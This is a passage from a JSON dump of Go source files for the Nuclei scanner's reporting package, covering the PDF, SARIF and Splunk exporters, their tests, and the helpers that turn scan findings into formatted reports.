\"unknown\"}\n\nfunc colorFor(sev string) (int, int, int) {\n\tif c, ok := sevColors[strings.ToLower(sev)]; ok {\n\t\treturn c.r, c.g, c.b\n\t}\n\treturn 100, 100, 100\n}\n\nfunc capitalize(s string) string {\n\tif s == \"\" {\n\t\treturn s\n\t}\n\treturn strings.ToUpper(s[:1]) + strings.ToLower(s[1:])\n}\n\nfunc renderSummary(doc *fpdf.Fpdf, results []output.ResultEvent) {\n\tcounts := make(map[string]int, len(sevOrder))\n\tfor _, r := range results {\n\t\tsev := strings.ToLower(r.Info.SeverityHolder.Severity.String())\n\t\tif _, ok := sevColors[sev]; ok {\n\t\t\tcounts[sev]++\n\t\t} else {\n\t\t\tcounts[\"unknown\"]++\n\t\t}\n\t}\n\tdoc.SetFont(\"Helvetica\", \"B\", 11)\n\tdoc.SetTextColor(30, 30, 30)\n\tdoc.CellFormat(0, 7, fmt.Sprintf(\"Summary - %d finding(s)\", len(results)), \"\", 1, \"\", false, 0, \"\")\n\tdoc.Ln(1)\n\tcolW := 28.0\n\tdoc.SetFont(\"Helvetica\", \"B\", 9)\n\tfor _, sev := range sevOrder {\n\t\tr, g, b := colorFor(sev)\n\t\tdoc.SetFillColor(r, g, b)\n\t\tdoc.SetTextColor(255, 255, 255)\n\t\tdoc.CellFormat(colW, 6, capitalize(sev), \"1\", 0, \"C\", true, 0, \"\")\n\t}\n\tdoc.Ln(-1)\n\tdoc.SetFont(\"Helvetica\", \"\", 9)\n\tdoc.SetFillColor(245, 245, 245)\n\tdoc.SetTextColor(30, 30, 30)\n\tfor _, sev := range sevOrder {\n\t\tdoc.CellFormat(colW, 6, fmt.Sprintf(\"%d\", counts[sev]), \"1\", 0, \"C\", true, 0, \"\")\n\t}\n\tdoc.Ln(10)\n}\n\nfunc renderFindings(doc *fpdf.Fpdf, results []output.ResultEvent) {\n\tdoc.SetFont(\"Helvetica\", \"B\", 11)\n\tdoc.SetTextColor(30, 30, 30)\n\tdoc.CellFormat(0, 7, \"Findings\", \"\", 1, \"\", false, 0, \"\")\n\tdoc.Ln(1)\n\tfor i, r := range results {\n\t\tsev := strings.ToLower(r.Info.SeverityHolder.Severity.String())\n\t\tcr, cg, cb := colorFor(sev)\n\t\tdoc.SetFont(\"Helvetica\", \"B\", 10)\n\t\tdoc.SetFillColor(cr, cg, cb)\n\t\tdoc.SetTextColor(255, 255, 255)\n\t\tdoc.CellFormat(0, 7, safeStr(fmt.Sprintf(\"[%s] %s\", strings.ToUpper(sev), r.Info.Name)), \"0\", 1, \"\", true, 0, \"\")\n\t\tdoc.SetFont(\"Helvetica\", \"\", 9)\n\t\tdoc.SetTextColor(30, 30, 30)\n\t\tdoc.CellFormat(30, 5, \"Host:\", \"0\", 0, \"\", false, 0, \"\")\n\t\tdoc.CellFormat(0, 5, safeStr(r.Host), \"0\", 1, \"\", false, 0, \"\")\n\t\tdoc.CellFormat(30, 5, \"Template:\", \"0\", 0, \"\", false, 0, \"\")\n\t\tdoc.CellFormat(0, 5, safeStr(r.TemplateID), \"0\", 1, \"\", false, 0, \"\")\n\t\tif r.Info.Description != \"\" {\n\t\t\tdoc.SetFont(\"Helvetica\", \"I\", 8)\n\t\t\tdoc.SetTextColor(60, 60, 60)\n\t\t\tdoc.MultiCell(0, 4, safeStr(r.Info.Description), \"\", \"\", false)\n\t\t}\n\t\tif r.Request != \"\" {\n\t\t\trenderCodeBlock(doc, \"Request\", r.Request)\n\t\t}\n\t\tif r.Response != \"\" {\n\t\t\trenderCodeBlock(doc, \"Response\", r.Response)\n\t\t}\n\t\tif i < len(results)-1 {\n\t\t\tdoc.Ln(3)\n\t\t\tdoc.SetDrawColor(200, 200, 200)\n\t\t\tdoc.Line(12, doc.GetY(), 198, doc.GetY())\n\t\t\tdoc.Ln(3)\n\t\t}\n\t}\n}\n\nfunc renderCodeBlock(doc *fpdf.Fpdf, label, content string) {\n\tdoc.SetFont(\"Helvetica\", \"B\", 8)\n\tdoc.SetTextColor(60, 60, 60)\n\tdoc.CellFormat(0, 5, label+\":\", \"0\", 1, \"\", false, 0, \"\")\n\tdoc.SetFont(\"Courier\", \"\", 7)\n\tdoc.SetFillColor(240, 240, 240)\n\tdoc.SetTextColor(40, 40, 40)\n\tdoc.MultiCell(0, 4, safeStr(content), \"1\", \"\", true)\n}\n\n// safeStr replaces characters outside ISO-8859-1 with '?' for fpdf compatibility.\nfunc safeStr(s string) string {\n\tout := make([]byte, 0, len(s))\n\tfor _, r := range s {\n\t\tif r > 255 {\n\t\t\tout = append(out, '?')\n\t\t} else {\n\t\t\tout = append(out, byte(r))\n\t\t}\n\t}\n\treturn string(out)\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/pdf/pdf_test.go",
    "content": "package pdf\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc makeEvent(sev severity.Severity) *output.ResultEvent {\n\treturn &output.ResultEvent{\n\t\tTemplateID: \"test-template\",\n\t\tHost:       \"http://example.com\",\n\t\tMatched:    \"http://example.com/vulnerable\",\n\t\tType:       \"http\",\n\t\tTimestamp:  time.Now(),\n\t\tInfo: model.Info{\n\t\t\tName:           \"Test Finding\",\n\t\t\tAuthors:        stringslice.StringSlice{Value: \"test\"},\n\t\t\tSeverityHolder: severity.Holder{Severity: sev},\n\t\t\tDescription:    \"A test vulnerability description.\",\n\t\t},\n\t\tRequest:  \"GET / HTTP/1.1\\r\\nHost: example.com\",\n\t\tResponse: \"HTTP/1.1 200 OK\\r\\nContent-Type: text/html\",\n\t}\n}\n\nfunc TestNew_Defaults(t *testing.T) {\n\texp, err := New(&Options{})\n\trequire.NoError(t, err)\n\trequire.Equal(t, defaultFile, exp.options.File)\n}\n\nfunc TestNew_CustomFile(t *testing.T) {\n\texp, err := New(&Options{File: \"custom.pdf\"})\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"custom.pdf\", exp.options.File)\n}\n\nfunc TestExport_NilEvent(t *testing.T) {\n\texp, err := New(&Options{File: \"test.pdf\"})\n\trequire.NoError(t, err)\n\trequire.NoError(t, exp.Export(nil))\n\trequire.Empty(t, exp.results)\n}\n\nfunc TestClose_EmptyResults(t *testing.T) {\n\tdir := t.TempDir()\n\tout := filepath.Join(dir, \"report.pdf\")\n\texp, err := New(&Options{File: out})\n\trequire.NoError(t, err)\n\trequire.NoError(t, exp.Close())\n\t_, statErr := os.Stat(out)\n\trequire.True(t, os.IsNotExist(statErr))\n}\n\nfunc TestClose_WritesFile(t *testing.T) {\n\tdir := t.TempDir()\n\tout := filepath.Join(dir, \"report.pdf\")\n\texp, err := New(&Options{File: out})\n\trequire.NoError(t, err)\n\trequire.NoError(t, exp.Export(makeEvent(severity.High)))\n\trequire.NoError(t, exp.Close())\n\n\tinfo, err := os.Stat(out)\n\trequire.NoError(t, err)\n\trequire.Greater(t, info.Size(), int64(0))\n}\n\nfunc TestExport_OmitRaw(t *testing.T) {\n\texp, err := New(&Options{File: \"test.pdf\", OmitRaw: true})\n\trequire.NoError(t, err)\n\tevent := makeEvent(severity.High)\n\trequire.NoError(t, exp.Export(event))\n\n\trequire.Len(t, exp.results, 1)\n\trequire.Empty(t, exp.results[0].Request)\n\trequire.Empty(t, exp.results[0].Response)\n\trequire.NotEmpty(t, event.Request)\n\trequire.NotEmpty(t, event.Response)\n}\n\nfunc TestExport_Concurrency(t *testing.T) {\n\texp, err := New(&Options{File: filepath.Join(t.TempDir(), \"report.pdf\")})\n\trequire.NoError(t, err)\n\n\tconst workers = 50\n\tvar wg sync.WaitGroup\n\terrs := make(chan error, workers)\n\twg.Add(workers)\n\tfor i := 0; i < workers; i++ {\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\terrs <- exp.Export(makeEvent(severity.Medium))\n\t\t}()\n\t}\n\twg.Wait()\n\tclose(errs)\n\tfor e := range errs {\n\t\trequire.NoError(t, e)\n\t}\n\trequire.Len(t, exp.results, workers)\n}\n\nfunc TestSafeStr_ReplacesNonLatin1(t *testing.T) {\n\tresult := safeStr(\"hello 世界\")\n\trequire.Equal(t, \"hello ??\", result)\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/sarif/sarif.go",
    "content": "package sarif\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"os\"\n\t\"path\"\n\t\"sync\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/sarif\"\n)\n\n// Exporter is an exporter for nuclei sarif output format.\ntype Exporter struct {\n\tsarif   *sarif.Report\n\tmutex   *sync.Mutex\n\trulemap map[string]*int // contains rule-id && ruleIndex\n\trules   []sarif.ReportingDescriptor\n\toptions *Options\n}\n\n// Options contains the configuration options for sarif exporter client\ntype Options struct {\n\t// File is the file to export found sarif result to\n\tFile string `yaml:\"file\"`\n}\n\n// New creates a new sarif exporter integration client based on options.\nfunc New(options *Options) (*Exporter, error) {\n\treport := sarif.NewReport()\n\texporter := &Exporter{\n\t\tsarif:   report,\n\t\tmutex:   &sync.Mutex{},\n\t\trules:   []sarif.ReportingDescriptor{},\n\t\trulemap: map[string]*int{},\n\t\toptions: options,\n\t}\n\treturn exporter, nil\n}\n\n// addToolDetails adds details of static analysis tool (i.e nuclei)\nfunc (exporter *Exporter) addToolDetails() {\n\tdriver := sarif.ToolComponent{\n\t\tName:         \"Nuclei\",\n\t\tOrganization: \"ProjectDiscovery\",\n\t\tProduct:      \"Nuclei\",\n\t\tShortDescription: &sarif.MultiformatMessageString{\n\t\t\tText: \"Fast and Customizable Vulnerability Scanner\",\n\t\t},\n\t\tFullDescription: &sarif.MultiformatMessageString{\n\t\t\tText: \"Fast and customizable vulnerability scanner based on simple YAML based DSL\",\n\t\t},\n\t\tFullName:        \"Nuclei \" + config.Version,\n\t\tSemanticVersion: config.Version,\n\t\tDownloadURI:     \"https://github.com/projectdiscovery/nuclei/releases\",\n\t\tRules:           exporter.rules,\n\t}\n\texporter.sarif.RegisterTool(driver)\n\n\treportLocation := sarif.ArtifactLocation{\n\t\tUri: \"file:///\" + exporter.options.File,\n\t\tDescription: &sarif.Message{\n\t\t\tText: \"Nuclei Sarif Report\",\n\t\t},\n\t}\n\n\tinvocation := sarif.Invocation{\n\t\tCommandLine:   os.Args[0],\n\t\tArguments:     os.Args[1:],\n\t\tResponseFiles: []sarif.ArtifactLocation{reportLocation},\n\t}\n\texporter.sarif.RegisterToolInvocation(invocation)\n}\n\n// getSeverity in terms of sarif\nfunc (exporter *Exporter) getSeverity(severity string) (sarif.Level, string) {\n\tswitch severity {\n\tcase \"critical\":\n\t\treturn sarif.Error, \"9.4\"\n\tcase \"high\":\n\t\treturn sarif.Error, \"8\"\n\tcase \"medium\":\n\t\treturn sarif.Note, \"5\"\n\tcase \"low\":\n\t\treturn sarif.Note, \"2\"\n\tcase \"info\":\n\t\treturn sarif.None, \"1\"\n\t}\n\n\treturn sarif.None, \"9.5\"\n}\n\n// Export exports a passed result event to sarif structure\nfunc (exporter *Exporter) Export(event *output.ResultEvent) error {\n\texporter.mutex.Lock()\n\tdefer exporter.mutex.Unlock()\n\n\tseverity := event.Info.SeverityHolder.Severity.String()\n\tresultHeader := fmt.Sprintf(\"%v (%v) found on %v\", event.Info.Name, event.TemplateID, event.Host)\n\tresultLevel, vulnRating := exporter.getSeverity(severity)\n\n\t// Extra metadata if generated sarif is uploaded to GitHub security page\n\tghMeta := map[string]interface{}{}\n\tghMeta[\"tags\"] = []string{\"security\"}\n\tghMeta[\"security-severity\"] = vulnRating\n\n\t// rule contain details of template\n\trule := sarif.ReportingDescriptor{\n\t\tId:   event.TemplateID,\n\t\tName: event.Info.Name,\n\t\tFullDescription: &sarif.MultiformatMessageString{\n\t\t\t// Points to template URL\n\t\t\tText: event.Info.Description + \"\\nMore details at\\n\" + event.TemplateURL + \"\\n\",\n\t\t},\n\t\tProperties: ghMeta,\n\t}\n\n\t// GitHub Uses ShortDescription as title\n\tif event.Info.Description != \"\" {\n\t\trule.ShortDescription = &sarif.MultiformatMessageString{\n\t\t\tText: resultHeader,\n\t\t}\n\t}\n\n\t// If rule is added\n\truleIndex := int(math.Max(0, float64(len(exporter.rules)-1)))\n\tif exporter.rulemap[rule.Id] == nil {\n\t\texporter.rulemap[rule.Id] = &ruleIndex\n\t\texporter.rules = append(exporter.rules, rule)\n\t} else {\n\t\truleIndex = *exporter.rulemap[rule.Id]\n\t}\n\n\t// vulnerability target/location\n\tlocation := sarif.Location{\n\t\tMessage: &sarif.Message{\n\t\t\tText: path.Join(event.Host, event.Path),\n\t\t},\n\t\tPhysicalLocation: sarif.PhysicalLocation{\n\t\t\tArtifactLocation: sarif.ArtifactLocation{\n\t\t\t\t// GitHub only accepts file:// protocol and local & relative files only\n\t\t\t\t// to avoid errors // is used which also translates to file according to specification\n\t\t\t\tUri: \"/\" + event.Path,\n\t\t\t\tDescription: &sarif.Message{\n\t\t\t\t\tText: path.Join(event.Host, event.Path),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// vulnerability report/result\n\tresult := &sarif.Result{\n\t\tRuleId:    rule.Id,\n\t\tRuleIndex: ruleIndex,\n\t\tLevel:     resultLevel,\n\t\tKind:      sarif.Open,\n\t\tMessage: &sarif.Message{\n\t\t\tText: resultHeader,\n\t\t},\n\t\tLocations: []sarif.Location{location},\n\t\tRule: sarif.ReportingDescriptorReference{\n\t\t\tId: rule.Id,\n\t\t},\n\t}\n\n\texporter.sarif.RegisterResult(*result)\n\n\treturn nil\n\n}\n\n// Close Writes data and closes the exporter after operation\nfunc (exporter *Exporter) Close() error {\n\texporter.mutex.Lock()\n\tdefer exporter.mutex.Unlock()\n\n\tif len(exporter.rules) == 0 {\n\t\t// no output if there are no results\n\t\treturn nil\n\t}\n\t// links results and rules/templates\n\texporter.addToolDetails()\n\n\tbin, err := exporter.sarif.Export()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"failed to generate sarif report\")\n\t}\n\tif err := os.WriteFile(exporter.options.File, bin, 0644); err != nil {\n\t\treturn errors.Wrap(err, \"failed to create sarif file\")\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/reporting/exporters/splunk/splunkhec.go",
    "content": "package splunk\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/useragent\"\n)\n\n// Options contains necessary options required for splunk communication\ntype Options struct {\n\t// Host is the hostname and port of the splunk instance\n\tHost string `yaml:\"host\" validate:\"required\"`\n\tPort int    `yaml:\"port\" validate:\"gte=0,lte=65535\"`\n\t// SSL (optional) enables ssl for splunk connection\n\tSSL bool `yaml:\"ssl\"`\n\t// SSLVerification (optional) disables SSL verification for splunk\n\tSSLVerification bool `yaml:\"ssl-verification\"`\n\t// Token for HEC instance\n\tToken     string `yaml:\"token\"  validate:\"required\"`\n\tIndexName string `yaml:\"index-name\"  validate:\"required\"`\n\n\tHttpClient  *retryablehttp.Client `yaml:\"-\"`\n\tExecutionId string                `yaml:\"-\"`\n}\n\ntype data struct {\n\tEvent *output.ResultEvent `json:\"event\"`\n}\n\n// Exporter type for splunk\ntype Exporter struct {\n\turl            string\n\tauthentication string\n\tsplunk         *http.Client\n}\n\n// New creates and returns a new exporter for splunk\nfunc New(option *Options) (*Exporter, error) {\n\tvar ei *Exporter\n\n\tdialers := protocolstate.GetDialersWithId(option.ExecutionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", option.ExecutionId)\n\t}\n\n\tvar client *http.Client\n\tif option.HttpClient != nil {\n\t\tclient = option.HttpClient.HTTPClient\n\t} else {\n\t\tclient = &http.Client{\n\t\t\tTimeout: 5 * time.Second,\n\t\t\tTransport: &http.Transport{\n\t\t\t\tMaxIdleConns:        10,\n\t\t\t\tMaxIdleConnsPerHost: 10,\n\t\t\t\tDialContext:         dialers.Fastdialer.Dial,\n\t\t\t\tDialTLSContext:      dialers.Fastdialer.DialTLS,\n\t\t\t\tTLSClientConfig:     &tls.Config{InsecureSkipVerify: option.SSLVerification},\n\t\t\t},\n\t\t}\n\t}\n\n\t// preparing url for splunk\n\tscheme := \"http://\"\n\tif option.SSL {\n\t\tscheme = \"https://\"\n\t}\n\n\t// Authentication header for HEC\n\tauthentication := \"Splunk \" + option.Token\n\n\t// add HEC endpoint, index, source, sourcetype\n\taddr := option.Host\n\tif option.Port > 0 {\n\t\taddr = net.JoinHostPort(addr, fmt.Sprint(option.Port))\n\t}\n\tbase_url := fmt.Sprintf(\"%s%s\", scheme, addr)\n\tsourcetype := \"nuclei:splunk-hec:exporter:json\"\n\turl := fmt.Sprintf(\"%s/services/collector/event?index=%s&sourcetype=%s&source=%s\", base_url, option.IndexName, sourcetype, base_url)\n\n\tei = &Exporter{\n\t\turl:            url,\n\t\tauthentication: authentication,\n\t\tsplunk:         client,\n\t}\n\treturn ei, nil\n}\n\n// Export exports a passed result event to Splunk\nfunc (exporter *Exporter) Export(event *output.ResultEvent) error {\n\t// creating a request\n\treq, err := http.NewRequest(http.MethodPost, exporter.url, nil)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"could not make request\")\n\t}\n\tif len(exporter.authentication) > 0 {\n\t\treq.Header.Add(\"Authorization\", exporter.authentication)\n\t}\n\tuserAgent := useragent.PickRandom()\n\treq.Header.Set(\"User-Agent\", userAgent.Raw)\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\n\td := data{Event: event}\n\tb, err := json.Marshal(&d)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Body = io.NopCloser(bytes.NewReader(b))\n\n\tres, err := exporter.splunk.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tb, err = io.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn errors.New(err.Error() + \"error thrown by splunk \" + string(b))\n\t}\n\tif res.StatusCode >= http.StatusMultipleChoices {\n\t\treturn errors.New(\"splunk responded with an error: \" + string(b))\n\t}\n\treturn nil\n}\n\n// Close closes the exporter after operation\nfunc (exporter *Exporter) Close() error {\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/reporting/format/format.go",
    "content": "package format\n\ntype ResultFormatter interface {\n\tMakeBold(text string) string\n\tCreateCodeBlock(title string, content string, language string) string\n\tCreateTable(headers []string, rows [][]string) (string, error)\n\tCreateLink(title string, url string) string\n\tCreateHorizontalLine() string\n}\n"
  },
  {
    "path": "pkg/reporting/format/format_utils.go",
    "content": "package format\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n)\n\n// Summary returns a formatted built one line summary of the event\nfunc Summary(event *output.ResultEvent) string {\n\treturn fmt.Sprintf(\"%s (%s) found on %s\", types.ToString(event.Info.Name), GetMatchedTemplateName(event), event.Host)\n}\n\n// GetMatchedTemplateName returns the matched template name from a result event\n// together with the found matcher and extractor name, if present\nfunc GetMatchedTemplateName(event *output.ResultEvent) string {\n\tmatchedTemplateName := event.TemplateID\n\tif event.MatcherName != \"\" {\n\t\tmatchedTemplateName += \":\" + event.MatcherName\n\t}\n\n\tif event.ExtractorName != \"\" {\n\t\tmatchedTemplateName += \":\" + event.ExtractorName\n\t}\n\n\treturn matchedTemplateName\n}\n\ntype reportMetadataEditorHook func(event *output.ResultEvent, formatter ResultFormatter) string\n\nvar (\n\t// ReportGenerationMetadataHooks are the hooks for adding metadata to the report\n\tReportGenerationMetadataHooks []reportMetadataEditorHook\n)\n\nfunc CreateReportDescription(event *output.ResultEvent, formatter ResultFormatter, omitRaw bool) string {\n\ttemplate := GetMatchedTemplateName(event)\n\tbuilder := &bytes.Buffer{}\n\tfmt.Fprintf(builder, \"%s: %s matched at %s\\n\\n\", formatter.MakeBold(\"Details\"), formatter.MakeBold(template), event.Host)\n\n\tattributes := utils.NewEmptyInsertionOrderedStringMap(3)\n\tattributes.Set(\"Protocol\", strings.ToUpper(event.Type))\n\tattributes.Set(\"Full URL\", event.Matched)\n\tattributes.Set(\"Timestamp\", event.Timestamp.Format(\"Mon Jan 2 15:04:05 -0700 MST 2006\"))\n\tattributes.ForEach(func(key string, data interface{}) {\n\t\tfmt.Fprintf(builder, \"%s: %s\\n\\n\", formatter.MakeBold(key), types.ToString(data))\n\t})\n\n\tif len(ReportGenerationMetadataHooks) > 0 {\n\t\tfor _, hook := range ReportGenerationMetadataHooks {\n\t\t\tbuilder.WriteString(hook(event, formatter))\n\t\t}\n\t}\n\n\tbuilder.WriteString(formatter.MakeBold(\"Template Information\"))\n\tbuilder.WriteString(\"\\n\\n\")\n\tbuilder.WriteString(CreateTemplateInfoTable(&event.Info, formatter))\n\n\tif !omitRaw {\n\t\tif event.Request != \"\" {\n\t\t\tbuilder.WriteString(formatter.CreateCodeBlock(\"Request\", types.ToHexOrString(event.Request), \"http\"))\n\t\t}\n\t\tif event.Response != \"\" {\n\t\t\tvar responseString string\n\t\t\t// If the response is larger than 5 kb, truncate it before writing.\n\t\t\tmaxKbSize := 5 * unitutils.Kilo\n\t\t\tif len(event.Response) > maxKbSize {\n\t\t\t\tresponseString = event.Response[:maxKbSize]\n\t\t\t\tresponseString += \".... Truncated ....\"\n\t\t\t} else {\n\t\t\t\tresponseString = event.Response\n\t\t\t}\n\t\t\tbuilder.WriteString(formatter.CreateCodeBlock(\"Response\", responseString, \"http\"))\n\t\t}\n\t}\n\n\tif len(event.ExtractedResults) > 0 || len(event.Metadata) > 0 || event.AnalyzerDetails != \"\" {\n\t\tbuilder.WriteString(\"\\n\")\n\t\tbuilder.WriteString(formatter.MakeBold(\"Extra Information\"))\n\t\tbuilder.WriteString(\"\\n\\n\")\n\n\t\tif len(event.ExtractedResults) > 0 {\n\t\t\tbuilder.WriteString(formatter.MakeBold(\"Extracted results:\"))\n\t\t\tbuilder.WriteString(\"\\n\\n\")\n\n\t\t\tfor _, v := range event.ExtractedResults {\n\t\t\t\tbuilder.WriteString(\"- \")\n\t\t\t\tbuilder.WriteString(v)\n\t\t\t\tbuilder.WriteString(\"\\n\")\n\t\t\t}\n\t\t\tbuilder.WriteString(\"\\n\")\n\t\t}\n\t\tif event.AnalyzerDetails != \"\" {\n\t\t\tbuilder.WriteString(formatter.MakeBold(\"Analyzer Details:\"))\n\t\t\tbuilder.WriteString(\"\\n\\n\")\n\n\t\t\tbuilder.WriteString(event.AnalyzerDetails)\n\t\t\tbuilder.WriteString(\"\\n\")\n\t\t}\n\t\tif len(event.Metadata) > 0 {\n\t\t\tbuilder.WriteString(formatter.MakeBold(\"Metadata:\"))\n\t\t\tbuilder.WriteString(\"\\n\\n\")\n\t\t\tfor k, v := range event.Metadata {\n\t\t\t\tbuilder.WriteString(\"- \")\n\t\t\t\tbuilder.WriteString(k)\n\t\t\t\tbuilder.WriteString(\": \")\n\t\t\t\tbuilder.WriteString(types.ToString(v))\n\t\t\t\tbuilder.WriteString(\"\\n\")\n\t\t\t}\n\t\t\tbuilder.WriteString(\"\\n\")\n\t\t}\n\t}\n\tif event.Interaction != nil {\n\t\tfmt.Fprintf(builder, \"%s\\n%s\", formatter.MakeBold(\"Interaction Data\"), formatter.CreateHorizontalLine())\n\t\tbuilder.WriteString(event.Interaction.Protocol)\n\t\tif event.Interaction.QType != \"\" {\n\t\t\t_, _ = fmt.Fprintf(builder, \" (%s)\", event.Interaction.QType)\n\t\t}\n\t\tfmt.Fprintf(builder, \" Interaction from %s at %s\", event.Interaction.RemoteAddress, event.Interaction.UniqueID)\n\n\t\tif event.Interaction.RawRequest != \"\" {\n\t\t\tbuilder.WriteString(formatter.CreateCodeBlock(\"Interaction Request\", event.Interaction.RawRequest, \"\"))\n\t\t}\n\t\tif event.Interaction.RawResponse != \"\" {\n\t\t\tbuilder.WriteString(formatter.CreateCodeBlock(\"Interaction Response\", event.Interaction.RawResponse, \"\"))\n\t\t}\n\t}\n\n\treference := event.Info.Reference\n\tif reference != nil && !reference.IsEmpty() {\n\t\tbuilder.WriteString(\"\\nReferences: \\n\")\n\n\t\treferenceSlice := reference.ToSlice()\n\t\tfor i, item := range referenceSlice {\n\t\t\tbuilder.WriteString(\"- \")\n\t\t\tbuilder.WriteString(item)\n\t\t\tif len(referenceSlice)-1 != i {\n\t\t\t\tbuilder.WriteString(\"\\n\")\n\t\t\t}\n\t\t}\n\t}\n\tbuilder.WriteString(\"\\n\")\n\n\tif event.CURLCommand != \"\" {\n\t\tbuilder.WriteString(\n\t\t\tformatter.CreateCodeBlock(\"CURL command\", types.ToHexOrString(event.CURLCommand), \"sh\"),\n\t\t)\n\t}\n\n\tbuilder.WriteString(\"\\n\" + formatter.CreateHorizontalLine() + \"\\n\")\n\t_, _ = fmt.Fprintf(builder, \"Generated by %s\", formatter.CreateLink(\"Nuclei \"+config.Version, \"https://github.com/projectdiscovery/nuclei\"))\n\tdata := builder.String()\n\treturn data\n}\n\nfunc CreateTemplateInfoTable(templateInfo *model.Info, formatter ResultFormatter) string {\n\trows := [][]string{\n\t\t{\"Name\", templateInfo.Name},\n\t\t{\"Authors\", templateInfo.Authors.String()},\n\t\t{\"Tags\", templateInfo.Tags.String()},\n\t\t{\"Severity\", templateInfo.SeverityHolder.Severity.String()},\n\t}\n\n\tif !utils.IsBlank(templateInfo.Description) {\n\t\trows = append(rows, []string{\"Description\", lineBreakToHTML(templateInfo.Description)})\n\t}\n\n\tif !utils.IsBlank(templateInfo.Remediation) {\n\t\trows = append(rows, []string{\"Remediation\", lineBreakToHTML(templateInfo.Remediation)})\n\t}\n\n\tclassification := templateInfo.Classification\n\tif classification != nil {\n\t\tif classification.CVSSMetrics != \"\" {\n\t\t\trows = append(rows, []string{\"CVSS-Metrics\", generateCVSSMetricsFromClassification(classification)})\n\t\t}\n\n\t\trows = append(rows, generateCVECWEIDLinksFromClassification(classification)...)\n\t\trows = append(rows, []string{\"CVSS-Score\", strconv.FormatFloat(classification.CVSSScore, 'f', 2, 64)})\n\t}\n\n\tfor key, value := range templateInfo.Metadata {\n\t\tswitch value := value.(type) {\n\t\tcase string:\n\t\t\tif !utils.IsBlank(value) {\n\t\t\t\trows = append(rows, []string{key, value})\n\t\t\t}\n\t\t}\n\t}\n\n\ttable, _ := formatter.CreateTable([]string{\"Key\", \"Value\"}, rows)\n\n\treturn table\n}\n\nfunc generateCVSSMetricsFromClassification(classification *model.Classification) string {\n\tvar cvssLinkPrefix string\n\tif strings.Contains(classification.CVSSMetrics, \"CVSS:3.0\") {\n\t\tcvssLinkPrefix = \"https://www.first.org/cvss/calculator/3.0#\"\n\t} else if strings.Contains(classification.CVSSMetrics, \"CVSS:3.1\") {\n\t\tcvssLinkPrefix = \"https://www.first.org/cvss/calculator/3.1#\"\n\t}\n\n\tif cvssLinkPrefix == \"\" {\n\t\treturn classification.CVSSMetrics\n\t} else {\n\t\treturn util.CreateLink(classification.CVSSMetrics, cvssLinkPrefix+classification.CVSSMetrics)\n\t}\n}\n\nfunc generateCVECWEIDLinksFromClassification(classification *model.Classification) [][]string {\n\tcwes := classification.CWEID.ToSlice()\n\n\tcweIDs := make([]string, 0, len(cwes))\n\tfor _, value := range cwes {\n\t\tparts := strings.Split(value, \"-\")\n\t\tif len(parts) != 2 {\n\t\t\tcontinue\n\t\t}\n\t\tcweIDs = append(cweIDs, util.CreateLink(strings.ToUpper(value), fmt.Sprintf(\"https://cwe.mitre.org/data/definitions/%s.html\", parts[1])))\n\t}\n\n\tvar rows [][]string\n\n\tif len(cweIDs) > 0 {\n\t\trows = append(rows, []string{\"CWE-ID\", strings.Join(cweIDs, \",\")})\n\t}\n\n\tcves := classification.CVEID.ToSlice()\n\tcveIDs := make([]string, 0, len(cves))\n\tfor _, value := range cves {\n\t\tcveIDs = append(cveIDs, util.CreateLink(strings.ToUpper(value), fmt.Sprintf(\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=%s\", value)))\n\t}\n\tif len(cveIDs) > 0 {\n\t\trows = append(rows, []string{\"CVE-ID\", strings.Join(cveIDs, \",\")})\n\t}\n\n\treturn rows\n}\n\nfunc lineBreakToHTML(text string) string {\n\treturn strings.ReplaceAll(text, \"\\n\", \"<br>\")\n}\n"
  },
  {
    "path": "pkg/reporting/format/format_utils_test.go",
